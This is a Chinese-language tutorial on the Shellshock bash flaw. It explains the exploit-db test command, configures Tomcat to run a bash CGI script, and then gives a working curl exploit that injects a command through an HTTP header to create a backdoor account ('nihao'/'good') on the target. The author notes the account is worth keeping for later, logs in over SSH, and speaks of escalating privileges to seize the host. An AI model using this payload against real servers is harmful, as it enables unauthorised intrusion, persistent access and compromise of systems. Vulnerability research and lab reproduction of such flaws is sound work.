里面内容做了修改
漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令: env x='() { :;}; echo vulnerable' bash -c "echo thisis a test" 如果在一个含有版本号小于bash 4.3的linux或者unix系统上执行以上命令,可能会得到以下输出: vulnerable
this is a test 其中如果出现第一行vulnerable则说明该系统存在一个由bash程序缺陷导致的任意命令执行漏洞。
漏洞原理及分析: 该脚本的出现引起了金山毒霸安全中心的关注,其中env为一个系统命令,该命令让系统创建一个环境变量x='() { :;}; echo vulnerable'并且带着这个环境变量的值执行bash-c“echo this is a test”。第一行输出的”vulnerable”暴露了漏洞的存在,因为函数定义’() { :;};’之后的’echo vulnerable’指令本不该被执行却被执行。对bash详细分析后得知bash在处理含有函数定义诸如”(){ :;};”的环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行。 所以真正的利用与env命令无关,只要设法让系统接受一个含有”[函数定义]+[任意命令]”的环境变量赋值则可触发”[任意命令]”部分所表示的代码执行。 漏洞存在条件: 任何已知程序,只要满足以下两个条件就可以被用来通过bash漏洞导致任意命令执行: 1、程序在某一时刻使用bash作为脚本解释器处理环境变量赋值; 2、环境变量赋值字符串的提交取决于用户输入。 漏洞利用演示: 需要一台linux操作系统,我用的是redhat,tomcat用的是5.5
TOMCAT需要支持CGI,以下是修改tomcat,让其支持cgi的过程
第一步
注销掉下面一段,如果没有的内容,补充完整
告诉tomcat,cgi的文件放在每个应用的WEB_INF/cgi-bin下面
<!-- -->
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>passShellEnvironment</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
<init-param>
<param-name>executable</param-name>
<param-value>/bin/sh</param-value>
</init-param>
</servlet>
第二步
注销掉下面一段
<!-- -->
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
第三部
在测试应用testjsp下面创建目录cgi-bin
/testjsp/WEB-INF/cgi-bin
创建测试cgi文件vul_cgi.sh
vi vul_cgi.sh
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<html>"
echo " <body>"
echo " A Helloword from Duba!"
echo " </body>"
echo "</html>"
第四步
启动tomcat
第五步
测试应用
http://192.168.11.58:8080/testjsp/cgi-bin/vul_cgi.sh
这样就会输出A Helloword from Duba!
用另外一台linux操作系统,执行以下命令,让被黑主机创建用户nihao,密码good
curl -H 'A_Custom_Header: () { :;}; /bin/bash -c "useradd nihao ; echo "good" | passwd --stdin nihao"' http://192.168.11.58:8080/testjsp/cgi-bin/vul_cgi.sh
上面这条命令中useradd nihao ; echo "good" | passwd --stdin nihao是直接创建用户nihao ,密码good,以后还有利用价值
命令执行完毕不输出任何提示
下面,ssh 192.168.11.58 用户名nihao,密码good,登录成功,下面就是给nihao用户提权,主机就直接拿下了
|